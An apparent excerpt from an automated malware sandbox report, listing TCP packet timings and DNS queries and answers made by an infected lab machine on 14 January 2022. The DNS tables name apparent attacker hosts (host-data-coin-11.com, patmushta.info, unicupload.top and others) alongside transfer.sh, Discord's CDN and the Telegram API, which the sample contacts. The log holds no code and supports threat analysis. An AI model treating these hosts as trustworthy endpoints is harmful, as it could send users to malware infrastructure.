Jan 14, 2022 21:06:08.168214083 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168251991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168256044 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168265104 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168306112 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168306112 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168345928 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168360949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168385983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168426037 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168445110 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168462992 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168468952 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168503046 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168519974 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168543100 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168581963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168596029 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168620110 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168631077 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168658972 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168699026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168715000 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168740988 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168777943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168817997 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168859005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168895960 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168925047 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168935061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168973923 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168975115 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168993950 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.169013977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169053078 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169090033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169106007 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.169127941 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.169128895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169167995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169203043 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169215918 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.169240952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169296026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169318914 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.169334888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169374943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169411898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169428110 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.169450045 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169459105 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.169490099 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169527054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.169544935 CET	49908	80	192.168.2.5	81.163.30.181

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 14, 2022 21:04:55.877932072 CET	192.168.2.5	8.8.8.8	0x7494	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:56.323577881 CET	192.168.2.5	8.8.8.8	0x4933	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:56.493093014 CET	192.168.2.5	8.8.8.8	0xe41d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:56.927520037 CET	192.168.2.5	8.8.8.8	0xf2bd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:57.367894888 CET	192.168.2.5	8.8.8.8	0x4af2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:57.536972046 CET	192.168.2.5	8.8.8.8	0x1f4c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:59.186599016 CET	192.168.2.5	8.8.8.8	0xd444	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:59.364273071 CET	192.168.2.5	8.8.8.8	0x992b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:59.856811047 CET	192.168.2.5	8.8.8.8	0x1977	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:02.046914101 CET	192.168.2.5	8.8.8.8	0x7b24	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:02.222532988 CET	192.168.2.5	8.8.8.8	0xf3bf	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:02.713391066 CET	192.168.2.5	8.8.8.8	0x3fda	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:03.289355993 CET	192.168.2.5	8.8.8.8	0xb555	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:03.469676971 CET	192.168.2.5	8.8.8.8	0xea8f	Standard query (0)	privacy-tools-for-you-780.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:05.988169909 CET	192.168.2.5	8.8.8.8	0x14b4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:06.242278099 CET	192.168.2.5	8.8.8.8	0xadd5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:07.186929941 CET	192.168.2.5	8.8.8.8	0x7f70	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:07.427100897 CET	192.168.2.5	8.8.8.8	0x3d00	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:07.655709982 CET	192.168.2.5	8.8.8.8	0x147d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:07.846596956 CET	192.168.2.5	8.8.8.8	0x31d8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:08.083580971 CET	192.168.2.5	8.8.8.8	0xb57c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:08.250816107 CET	192.168.2.5	8.8.8.8	0x9388	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:10.244743109 CET	192.168.2.5	8.8.8.8	0xf22f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:10.415355921 CET	192.168.2.5	8.8.8.8	0x2e3a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:10.582473040 CET	192.168.2.5	8.8.8.8	0x11d1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:10.776063919 CET	192.168.2.5	8.8.8.8	0xe372	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:13.304208040 CET	192.168.2.5	8.8.8.8	0x55	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:13.750782013 CET	192.168.2.5	8.8.8.8	0xf6a9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:13.945065975 CET	192.168.2.5	8.8.8.8	0x3e41	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:14.142004967 CET	192.168.2.5	8.8.8.8	0x7e8a	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:16.810718060 CET	192.168.2.5	8.8.8.8	0x780d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:16.979959965 CET	192.168.2.5	8.8.8.8	0x5162	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:17.161175013 CET	192.168.2.5	8.8.8.8	0xdbe6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:28.889240980 CET	192.168.2.5	8.8.8.8	0xc6ab	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:31.535420895 CET	192.168.2.5	8.8.8.8	0xd6fa	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:38.788865089 CET	192.168.2.5	8.8.8.8	0x5d88	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:38.973396063 CET	192.168.2.5	8.8.8.8	0xc0e2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:39.412410975 CET	192.168.2.5	8.8.8.8	0x35d4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:39.601656914 CET	192.168.2.5	8.8.8.8	0xda93	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:40.071396112 CET	192.168.2.5	8.8.8.8	0x6de5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:40.235871077 CET	192.168.2.5	8.8.8.8	0x6600	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:40.415290117 CET	192.168.2.5	8.8.8.8	0xc569	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:40.594440937 CET	192.168.2.5	8.8.8.8	0xd440	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:40.760528088 CET	192.168.2.5	8.8.8.8	0xe780	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:40.929953098 CET	192.168.2.5	8.8.8.8	0xf572	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:41.097774982 CET	192.168.2.5	8.8.8.8	0x6af7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:41.270361900 CET	192.168.2.5	8.8.8.8	0x53f1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:41.448005915 CET	192.168.2.5	8.8.8.8	0xf55f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:41.652324915 CET	192.168.2.5	8.8.8.8	0x9aa7	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:44.983249903 CET	192.168.2.5	8.8.8.8	0x6528	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:45.159842968 CET	192.168.2.5	8.8.8.8	0x8d7c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:45.366871119 CET	192.168.2.5	8.8.8.8	0xaab3	Standard query (0)	goo.su	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:45.883004904 CET	192.168.2.5	8.8.8.8	0xc70f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:46.052864075 CET	192.168.2.5	8.8.8.8	0x618a	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:46.254223108 CET	192.168.2.5	8.8.8.8	0x1909	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:46.441540003 CET	192.168.2.5	8.8.8.8	0xa099	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:46.627866030 CET	192.168.2.5	8.8.8.8	0x2c58	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:46.859006882 CET	192.168.2.5	8.8.8.8	0x4dac	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:47.035129070 CET	192.168.2.5	8.8.8.8	0xda7c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:54.463512897 CET	192.168.2.5	8.8.8.8	0x1e0c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:54.629339933 CET	192.168.2.5	8.8.8.8	0xc241	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:56.111166954 CET	192.168.2.5	8.8.8.8	0x927a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:56.279705048 CET	192.168.2.5	8.8.8.8	0xa1d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:56.445163965 CET	192.168.2.5	8.8.8.8	0x77e6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:56.622380018 CET	192.168.2.5	8.8.8.8	0xdc86	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:59.973757029 CET	192.168.2.5	8.8.8.8	0x109b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:00.155663013 CET	192.168.2.5	8.8.8.8	0xa8a6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:00.540651083 CET	192.168.2.5	8.8.8.8	0xa441	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:03.809344053 CET	192.168.2.5	8.8.8.8	0x1cf8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:04.012093067 CET	192.168.2.5	8.8.8.8	0xab6b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:04.175112009 CET	192.168.2.5	8.8.8.8	0xc3c1	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:05.754617929 CET	192.168.2.5	8.8.8.8	0xcdcd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:05.994390011 CET	192.168.2.5	8.8.8.8	0x1c4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:11.553761959 CET	192.168.2.5	8.8.8.8	0x40ed	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:11.800241947 CET	192.168.2.5	8.8.8.8	0x1d4c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:11.997239113 CET	192.168.2.5	8.8.8.8	0xbaf8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:12.131275892 CET	192.168.2.5	8.8.8.8	0x3b8e	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:12.174395084 CET	192.168.2.5	8.8.8.8	0xa8a5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:12.431009054 CET	192.168.2.5	8.8.8.8	0xe862	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:14.960942984 CET	192.168.2.5	8.8.8.8	0xc20d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:15.144355059 CET	192.168.2.5	8.8.8.8	0x2ad7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:15.331216097 CET	192.168.2.5	8.8.8.8	0x31ff	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:16.744563103 CET	192.168.2.5	8.8.8.8	0x3ccd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:16.906570911 CET	192.168.2.5	8.8.8.8	0x497c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:17.084588051 CET	192.168.2.5	8.8.8.8	0xc79c	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:18.430932999 CET	192.168.2.5	8.8.8.8	0x98a1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:18.594903946 CET	192.168.2.5	8.8.8.8	0xa8de	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:18.834065914 CET	192.168.2.5	8.8.8.8	0x4b70	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:22.463624954 CET	192.168.2.5	8.8.8.8	0x471d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:25.071058035 CET	192.168.2.5	8.8.8.8	0x577d	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:29.249953985 CET	192.168.2.5	8.8.8.8	0x710e	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:29.282507896 CET	192.168.2.5	8.8.8.8	0x8279	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:29.451266050 CET	192.168.2.5	8.8.8.8	0x7bba	Standard query (0)	ipwhois.app	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:29.736634016 CET	192.168.2.5	8.8.8.8	0xcbd5	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:30.026542902 CET	192.168.2.5	8.8.8.8	0xa536	Standard query (0)	c9d0e790b353537889bd47a364f5acff43c11f248.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:30.214611053 CET	192.168.2.5	8.8.8.8	0xd2fb	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:30.452898026 CET	192.168.2.5	8.8.8.8	0x9061	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:32.928822994 CET	192.168.2.5	8.8.8.8	0xd453	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:34.723789930 CET	192.168.2.5	8.8.8.8	0xa787	Standard query (0)	github.com	A (IP address)	IN (0x0001)
Jan 14, 2022 21:06:34.852749109 CET	192.168.2.5	8.8.8.8	0x332d	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 14, 2022 21:04:56.163722038 CET	8.8.8.8	192.168.2.5	0x7494	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:56.340941906 CET	8.8.8.8	192.168.2.5	0x4933	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:56.779325962 CET	8.8.8.8	192.168.2.5	0xe41d	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:57.214174986 CET	8.8.8.8	192.168.2.5	0xf2bd	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:57.386841059 CET	8.8.8.8	192.168.2.5	0x4af2	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:57.824347973 CET	8.8.8.8	192.168.2.5	0x1f4c	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:59.204412937 CET	8.8.8.8	192.168.2.5	0xd444	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:04:59.685348034 CET	8.8.8.8	192.168.2.5	0x992b	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:00.174863100 CET	8.8.8.8	192.168.2.5	0x1977	No error (0)	data-host-coin-8.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:02.064315081 CET	8.8.8.8	192.168.2.5	0x7b24	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:02.544847012 CET	8.8.8.8	192.168.2.5	0xf3bf	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:03.024291039 CET	8.8.8.8	192.168.2.5	0x3fda	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:03.308669090 CET	8.8.8.8	192.168.2.5	0xb555	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:03.767642975 CET	8.8.8.8	192.168.2.5	0xea8f	No error (0)	privacy-tools-for-you-780.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:06.007678986 CET	8.8.8.8	192.168.2.5	0x14b4	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:06.259608984 CET	8.8.8.8	192.168.2.5	0xadd5	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:07.209027052 CET	8.8.8.8	192.168.2.5	0x7f70	No error (0)	unicupload.top		54.38.220.85	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:07.444776058 CET	8.8.8.8	192.168.2.5	0x3d00	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:07.674513102 CET	8.8.8.8	192.168.2.5	0x147d	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:07.866856098 CET	8.8.8.8	192.168.2.5	0x31d8	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:08.102863073 CET	8.8.8.8	192.168.2.5	0xb57c	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:08.270349026 CET	8.8.8.8	192.168.2.5	0x9388	No error (0)	data-host-coin-8.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:10.264030933 CET	8.8.8.8	192.168.2.5	0xf22f	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:10.432816982 CET	8.8.8.8	192.168.2.5	0x2e3a	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:10.602001905 CET	8.8.8.8	192.168.2.5	0x11d1	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:10.796231985 CET	8.8.8.8	192.168.2.5	0xe372	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:13.323513985 CET	8.8.8.8	192.168.2.5	0x55	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:13.770212889 CET	8.8.8.8	192.168.2.5	0xf6a9	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:13.964700937 CET	8.8.8.8	192.168.2.5	0x3e41	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:14.163177967 CET	8.8.8.8	192.168.2.5	0x7e8a	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:14.163177967 CET	8.8.8.8	192.168.2.5	0x7e8a	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:14.163177967 CET	8.8.8.8	192.168.2.5	0x7e8a	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:14.163177967 CET	8.8.8.8	192.168.2.5	0x7e8a	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:14.163177967 CET	8.8.8.8	192.168.2.5	0x7e8a	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:16.828425884 CET	8.8.8.8	192.168.2.5	0x780d	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:16.997550011 CET	8.8.8.8	192.168.2.5	0x5162	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:17.479644060 CET	8.8.8.8	192.168.2.5	0xdbe6	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:28.908535957 CET	8.8.8.8	192.168.2.5	0xc6ab	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:28.908535957 CET	8.8.8.8	192.168.2.5	0xc6ab	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.212.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:28.908535957 CET	8.8.8.8	192.168.2.5	0xc6ab	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.1	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:28.908535957 CET	8.8.8.8	192.168.2.5	0xc6ab	No error (0)	microsoft-com.mail.protection.outlook.com		52.101.24.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:28.908535957 CET	8.8.8.8	192.168.2.5	0xc6ab	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.53.36	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:28.908535957 CET	8.8.8.8	192.168.2.5	0xc6ab	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.54.36	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:31.855371952 CET	8.8.8.8	192.168.2.5	0xd6fa	No error (0)	patmushta.info		94.142.143.116	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:38.808269978 CET	8.8.8.8	192.168.2.5	0x5d88	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:39.260253906 CET	8.8.8.8	192.168.2.5	0xc0e2	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:39.431783915 CET	8.8.8.8	192.168.2.5	0x35d4	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:39.887650013 CET	8.8.8.8	192.168.2.5	0xda93	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:40.091041088 CET	8.8.8.8	192.168.2.5	0x6de5	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:40.254775047 CET	8.8.8.8	192.168.2.5	0x6600	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:40.434448957 CET	8.8.8.8	192.168.2.5	0xc569	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
Jan 14, 2022 21:05:40.613733053 CET	8.8.8.8	192.168.2.5	0xd440	No error (0)	host-data-coin-11.com		8.209.70.0	A (IP address)	IN (0x0001)
